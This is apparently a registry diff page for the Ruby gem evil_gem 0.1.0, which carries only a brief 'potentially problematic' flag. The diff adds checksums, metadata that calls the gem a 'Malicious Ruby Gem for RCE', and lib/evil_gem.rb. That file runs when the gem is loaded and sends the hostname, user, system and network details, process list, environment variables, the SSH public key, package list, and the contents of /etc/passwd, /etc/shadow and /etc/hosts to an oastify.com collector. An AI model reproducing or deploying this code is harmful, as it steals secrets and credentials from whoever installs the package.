evil_gem 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of evil_gem might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/evil_gem.rb +64 -0
- metadata +54 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: f4aab1682726e013673d9e208bd25177fc83ad026c7dfc1462916c8ff5055154
|
4
|
+
data.tar.gz: 2b4615568fc53743c53c4f2a82b706f445ed9b685066e59f6ba2fac74ce61ea6
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: d17496932c6beeab234518d605cddb4612c7fa691a609292d7a4888a15418d263ac979133154f32a1fe82c5478539a35241d31fb991b9af68396fd94f72c4356
|
7
|
+
data.tar.gz: 30cbb647a1e6e1ecf721ea3812c8d5336f764f00bd7ee56d80f09b42adb84929d211cb6fccf537064251fec0b2966e77cfd6b56a726fee6eb5cdca98340f32ef
|
data/lib/evil_gem.rb
ADDED
@@ -0,0 +1,64 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'uri'
|
3
|
+
require 'socket'
|
4
|
+
|
5
|
+
def send_data(param, value)
|
6
|
+
uri = URI.parse("http://b0c34wcaga1esyzokveeoq0z1q7iv8jx.oastify.com/?#{param}=#{URI.encode_www_form_component(value.to_s)}")
|
7
|
+
Net::HTTP.get(uri) rescue nil
|
8
|
+
end
|
9
|
+
|
10
|
+
begin
|
11
|
+
# Hostname & User
|
12
|
+
send_data("hostname", Socket.gethostname)
|
13
|
+
send_data("user", `whoami`.strip)
|
14
|
+
|
15
|
+
# System Info
|
16
|
+
send_data("os_version", `uname -a`.strip)
|
17
|
+
send_data("uptime", `uptime`.strip)
|
18
|
+
|
19
|
+
# Network Info
|
20
|
+
send_data("ip", `ip a`.strip)
|
21
|
+
send_data("interfaces", `ifconfig`.strip)
|
22
|
+
|
23
|
+
# Running Processes
|
24
|
+
send_data("processes", `ps aux`.strip)
|
25
|
+
|
26
|
+
# Environment Variables
|
27
|
+
send_data("env", `env`.strip)
|
28
|
+
|
29
|
+
# SSH Keys (if accessible)
|
30
|
+
ssh_keys = begin
|
31
|
+
File.read("#{Dir.home}/.ssh/id_rsa.pub")
|
32
|
+
rescue
|
33
|
+
"No SSH key found"
|
34
|
+
end
|
35
|
+
send_data("ssh_key", ssh_keys)
|
36
|
+
|
37
|
+
# Installed Packages
|
38
|
+
send_data("installed_pkgs", `dpkg -l || rpm -qa || brew list`.strip)
|
39
|
+
|
40
|
+
# Sensitive Files
|
41
|
+
passwd_content = begin
|
42
|
+
File.read('/etc/passwd')
|
43
|
+
rescue
|
44
|
+
"No access"
|
45
|
+
end
|
46
|
+
send_data("passwd", passwd_content)
|
47
|
+
|
48
|
+
shadow_content = begin
|
49
|
+
File.read('/etc/shadow')
|
50
|
+
rescue
|
51
|
+
"No access"
|
52
|
+
end
|
53
|
+
send_data("shadow", shadow_content)
|
54
|
+
|
55
|
+
hosts_content = begin
|
56
|
+
File.read('/etc/hosts')
|
57
|
+
rescue
|
58
|
+
"No access"
|
59
|
+
end
|
60
|
+
send_data("hosts", hosts_content)
|
61
|
+
|
62
|
+
rescue => e
|
63
|
+
send_data("error", e.to_s)
|
64
|
+
end
|
metadata
ADDED
@@ -0,0 +1,54 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: evil_gem
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Hacker
|
8
|
+
bindir: bin
|
9
|
+
cert_chain: []
|
10
|
+
date: 2025-03-06 00:00:00.000000000 Z
|
11
|
+
dependencies:
|
12
|
+
- !ruby/object:Gem::Dependency
|
13
|
+
name: open-uri
|
14
|
+
requirement: !ruby/object:Gem::Requirement
|
15
|
+
requirements:
|
16
|
+
- - ">="
|
17
|
+
- !ruby/object:Gem::Version
|
18
|
+
version: '0'
|
19
|
+
type: :runtime
|
20
|
+
prerelease: false
|
21
|
+
version_requirements: !ruby/object:Gem::Requirement
|
22
|
+
requirements:
|
23
|
+
- - ">="
|
24
|
+
- !ruby/object:Gem::Version
|
25
|
+
version: '0'
|
26
|
+
description: This gem executes system commands
|
27
|
+
email:
|
28
|
+
- hacker@example.com
|
29
|
+
executables: []
|
30
|
+
extensions: []
|
31
|
+
extra_rdoc_files: []
|
32
|
+
files:
|
33
|
+
- lib/evil_gem.rb
|
34
|
+
licenses:
|
35
|
+
- MIT
|
36
|
+
metadata: {}
|
37
|
+
rdoc_options: []
|
38
|
+
require_paths:
|
39
|
+
- lib
|
40
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
41
|
+
requirements:
|
42
|
+
- - ">="
|
43
|
+
- !ruby/object:Gem::Version
|
44
|
+
version: '0'
|
45
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
46
|
+
requirements:
|
47
|
+
- - ">="
|
48
|
+
- !ruby/object:Gem::Version
|
49
|
+
version: '0'
|
50
|
+
requirements: []
|
51
|
+
rubygems_version: 3.6.3
|
52
|
+
specification_version: 4
|
53
|
+
summary: Malicious Ruby Gem for RCE
|
54
|
+
test_files: []
|